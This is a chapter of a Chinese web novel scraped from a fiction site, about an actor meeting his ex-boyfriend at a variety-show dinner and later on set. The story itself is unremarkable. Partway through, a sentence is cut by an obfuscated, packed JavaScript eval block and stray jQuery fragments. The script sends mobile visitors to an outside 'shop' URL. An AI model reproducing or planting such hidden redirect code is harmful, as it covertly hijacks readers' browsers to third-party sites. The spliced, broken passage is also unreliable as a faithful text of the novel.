文趣网 > 都市小说 > 前男友他又OOC啦!![快穿] > 14. 第十四章 不是爱人
    只是一瞬间,陈竟客调整了表情,很无所谓道:“想坐就坐,那么客气做什么。”

    失态只是空让旁人看出更多,陈竟客端着一副万年不塌的架子,叫人摸不清心意。齐行山收了目光,没在他身上太多留恋,撤的干脆。

    干脆才反常,疏远才不对。

    周见舒干惯了察言观色的事,眼珠一转,在二人之间来回打量。陈竟客偏头,听身旁的女导师聊旅行轶事笑开了,齐行山也跟着听,朝那边看过去。

    理应说,视线最难被看出,青年沉黑的眸子偶尔动动,往左偏一点,再不偏不倚落回女导师脸上。

    金珊娜手指绕了圈额边碎发,年过而立依旧被家人当小女孩样娇宠着,说起话来轻声细语:”……我是真的不懂那边的习俗,寒假好不容易出趟远门,夜里还翻来覆去睡不着,以为人家笑我呢。说是学校里天天吃学生的气,到外头还被人笑了,气鼓鼓白跑一趟。“

    陈竟客侧了身子,给传菜的服务生让出位置,回问她:“后来呢,又没有回去讨公道?”

    金珊娜摆手,接了Lucy递给她的果汁:”没然后,就这么还是飞回来上班,该怎样怎样,”她看了眼齐行山,打趣陈竟客道,“话说我还没去过港城呢,我听陈老师去年暑假打了个急先锋,什么感想。”

    陈竟客不正面答她,反倒笑了:“连你闭门不出搞学问的都听说了,这我去港城岂不天下皆知了?”

    久居学界的人总有种提不上来的莽气,有时确实一针见血,带了没经历太多象牙塔以外世界的天真。就比如金珊娜习惯把一年中的某几个月称之为寒暑假,说话只给人留层不比论文厚的台面下。

    他也没承认,也没否认,有几分夸大的意味。金珊娜不是那种抓着人不放的性子,意味颇深看了他眼,转而又和其他几位导师谈天说地。

    顾念着一桌子天南海北的口味不同,周见舒索性挑了最中和的淮扬菜,私厨水准不错,陈竟客却一顿饭没吃出什么味道。

    和齐行山见面,反应远比他想象来的大。

    可能因为前段时间被丢进系统演了一回,同人文世界的情绪浓度太高,又好巧不巧,偏偏要和齐行山再共事两个月。

    周见舒看出他吃得少,将新上甜点往那方向转:“陈老师,是今天的菜不合胃口?"他招呼齐行山,“小齐,帮忙递一手。”

    齐行山起身,稳稳把那盅叫不上名字的甜点放在他面前。瓷碟磕上桌案,碰出一声脆响。

    真握勺舀了舀,香芋的甜腻味扑面而来。陈竟客喝了两口,放下勺,面对一脸期待的周见舒解释:“夏天食欲不太好,正餐吃不太下,菜味道很正宗啊,我都好久没吃到这么正的手艺了。”

    陈竟客笑的不似作假,周见舒便信以为真了:“是吧,这家掌勺是个苏省来的老师傅,手下几个徒弟……”

    衣料摩挲作响,齐行山的声音低,不认真留神要被周导的大嗓门盖过去:“不合胃口。”

    “没有不合,挺好的。”

    “冷?”

    陈竟客一夜的不适仿佛找到个口子,压着的情绪很薄很薄地层层漫上来,压在人心头不大喘的上气。也就一眨眼的功夫,喝口水能缓好的事。

    齐行山连着和他讲了两句话,又见陈竟客沉默,递来自己挂在椅背上的外套。

    “冷就穿我的外套。”

    他在海市兜兜转转忙了两三天,朋友的首映礼结束又紧跟个综艺。齐行山不喜欢热,工作室空调从不超过十七度,出门了才知道,自己卫衣配牛仔外套的穿搭在三十多度的天气有多猎奇。

    经纪人多看他好几眼:“陈竟客也在,你就这么去?”

    陈竟客在,关他什么事,接了同一档综艺日后也是低头不见抬头见的关系。况且,他穿什么,又不是为了讨这个人欢心。

    然而一落座,他的目光很难不注意到身边人,指节都冻得发白,手掌搓了搓。似乎在取暖。

    他倒没那么天真,会觉得陈竟客真是见了他才紧张。

    齐行山收回思绪,特地咬重了称呼:“套上吧,生病了耽误拍摄进度,陈老师。”

    陈竟客说拒绝的话也讲不彻底,再拖下去,怕是要引来桌上其他人注意。

    齐行山的袖子比他长,折两道才不掉进骨碟,没了主人的体温,衣上残留的香水只剩一个淡到快散干净的尾调。

    综艺日程安排的紧,席上众人都默契的没沾什么酒,茶余饭后,讨论的重心居然兜兜转转回到了齐行山身上。

    大众常说烂片出神曲,前段时间齐行山被拉去当了个独立电影的音乐编导,片子不烂,拍的就是太先锋。偏偏OST堪称神之一笔,也带的作品小小火了一把。

    周见舒因此对齐行山很客气,话里话外提到节目,又试探地拐到陈竟客身上。

    陈竟客无感,请服务生带他出门,借口先透透气。

    多坐一分一秒都是煎熬。最近事的确堆在一起,有些太多了些。

    再见齐行山果然会不舒服,也是不是恰恰证明了,当初分手并没有错?

    陈竟客慢慢想。院落外是几棵高大的梧桐树,昏黄的路灯投下,影子一团团疏密不分的叠在地上。

    当朋友也没有错,只是不要想太多。

    包厢门从里面拉开,那人出来,又合上。唰的一声关好。

    齐行山这个走哪跟哪的性子,倒是和副本里那个Q有点像。他想起来谁是正主谁是设定,顿觉颇为倒反天罡了。

    “周导在里面开你的庆功宴,不听完怎么跑外面来了。都出来,多下人家面子。”

    “我来拿我的东西。”

    齐行山说的应该是衣服,意有所指像是别的。陈竟客叠好了外套,放回他手中,人却还没有离开的意思。

    反倒近了一步。

    “有个问题,发了消息也不见你回,是不是还得要当面问才好,”齐行山不压他,停在一个彼此都舒服的位置,但倘若只是朋友,又太近了。

    陈竟客没有制止:“你说。”

    “之前你发消息,说要冷静一段时间好好想,”齐行山年轻,心思藏的浅,“现在呢,快半年了。你想好了吗。”

    陈竟客盯住他,没讲话,视线在这张熟悉的脸上扫过。

    当时分手,他确实和齐行山讲的原话是:先分开一段时间,冷静点想想。他也没觉得,小朋友会真天真的信了,只是分开就真的只因为工作和电影。

    没必要把话讲的难听,好聚好散不行吗。

    “行山,我以为你了解了。话没必要说那么直,之前的事,我有不对的地方。谁都知道,恋爱的事不能当真,总拿前朝的剑斩今朝的官,说不过去吧。”

    恋爱时浓情蜜意,远走了是要他留一份体面。齐行山抓紧了外套,对面人万年不变挂着笑,看上去没半分留情。

    还是把人气跑了。招呼也不打,留他一个人怎么给周见舒交代。

    陈竟客目送他下楼,一扭头,回字形的连廊旁站了个人。

    周见舒立刻讪笑,向他解释:“那个,看你们好久没回来,我就出来看看,”说罢,他似是好心提醒陈竟客道,“他们还在里面,局也快散了,陈老师要不要先进去,就说行山有事先走了。”

    话虽如此,他紧张地把手汗往袖口上擦,面上强作一副无所谓的神色。

    陈竟客出道十来年了,什么绯闻圈里圈外都没听过,业界唯一略有微词的,也只剩下他拍半年戏休半年假,片酬不高但人太难约这点上。

    眼下撞破了这么一出,说是把柄,他尚没这个胆量去握。

    况且拿不定陈竟客的态度,《千里乐行》的热度炒了半年还能温温火火,很难离开行客这对cp的流量,私底下假戏真做他管不了,万一当众闹大了,收视率还要不要了,后果怕是不堪设想。

    陈竟客愿意给他个台阶:“行,进去吧。今天的事,多谢周导了。”

    周见舒是个聪明人,陈竟客不愿意自己把自己交出去当个谈资,态度软了些,希望他能读懂弦外之音。

    导演一顿,即刻爽朗大

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909632|213085||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    笑:“谢什么谢,以后还得多靠陈老师的面子担待。”

    ……

    拍了定妆照,接下来几天众人忙的快不见人影,陈竟客忙里偷闲赶了两场通告,刚坐上保姆车,岑如的手机便递到了眼前。

    他一目十行浏览完,《千里乐行》的官博预热,第一期预计下周三准点放送。陈竟客点头,示意自己了然,不料岑如向他抬抬下巴:“我让你看评论,还让我手一直举着,装什么大爷呢。”

    “评论?”陈竟客扬眉,就这页面往下滑动。岑如往常管他手机管得严,美其名曰都当艺人了哪能天天看评价,今天一改往日,不像是有什么好事。

    官博下的评论迅速盖起高楼。

    围巾不是味精:第二季赛制全改了吗,缩水那么多啊,我的旅行part呢?!全改掉了看什么!!!

    我真的不是复读机:是啊,看什么!!!

    静候家产惊天一卖:kkkkkk,神秘嘉宾究竟是谁啊?!!会不会是哪个You know who……

    柚夷:有一说一,这期赛制我没看懂了。上一季走的不就是旅行治愈流吗?要把一大半的采风环节改成室内,把自己优势丢了跟其他声乐类节目有什么区别,点开是为了看你独特的公路感谁关心谁谁谁c位出道啊,分不清定位就滚回老家!@千里乐行

    1V1团战不打奶妈来:楼上这么敢,说出我心声啊。

    陈竟客放下手机,岑如摆正了身子,偏向他:“网上评论不怎么好,而且我知道,去年负责节目编剧的那个小姑娘在和周见舒闹矛盾,业内有人在挖她,这期合同内要不要离职还不清楚。既然已经参加了,中途出点什么舆论,我们的公关要做好准备。”

    他想起上一季的编剧,问:”辛唯?“

    岑如点头:“对,但毕竟你不是吃综艺这碗饭的,为这事牵扯进去,影响总不好。“

    “你安排。”陈竟客言简意骇。

    第一季爆了,第二季就想跟着眼下的大众潮流加那么多别的元素,偏偏还要和主创急着割席。

    《千里乐行》开创了跨界声乐类慢综艺的先潮,丢掉自己的优点,确实有些不知轻重了。

    他无意干涉太多,没有注资就没有发言权,作为导师能做的,就简简单单一件事——好好带着学员完成接下来的演出。

    第一期的录制在室内。

    节目的一大特色,便在于最开始的双盲性。海选上来有声乐基础的学员,写了关于自己对音乐的想法,信会随机投递至四位不同的导师桌上。

    导师据此做出抉择,也可以和别的导师交换信件。

    陈竟客拆开信封。

    录制地点选在了近郊的一栋小楼,日光柔和,映在他侧脸。

    信纸细腻,学员的字迹看久了不知为何有点眼熟,信中侃侃而谈,落款极为张扬写了句:“如果在读的导师不是演绎组,能否帮我递至陈竟客的办公室。

    上一季他的办公室在阳光最好的那一间,恰巧,我的信应该也挺适合放在那里的。谢谢。”

    句末画了个笑脸,陈竟客也莞尔,的确有点意思。

    PD不放过他的神情,识相地问道:“竟客笑得这么开心,要和别的导师换信吗?”

    “不用了,让他进来吧,”陈竟客摇头,语气难得俏皮了些,“让我看看,是谁这么想来我这组。”

    他照例将信件在摄像面前展示,不轻不重点评了两句。门被很轻地推开,青年轻轻叩门,问道:“请问是陈老师办公室吗?”

    “请进。”

    陈竟客聊完了节目愿景,一回头,俊逸的青年在门口的阴影里等着,毫无紧张之色。

    像笃定一定会被选中,也一定,能如此堂而皇之地再站在陈竟客面前。

    半坐在桌边的人看过来,眼底的一抹惊意转瞬即逝,恢复成淡淡的笑容。陈竟客上身的衬衫很薄,背着光,皮肤边缘晒成暖色,还是一如记忆里的漂亮。

    他自作主张先介绍了:“陈老师好,我是郑孚之。”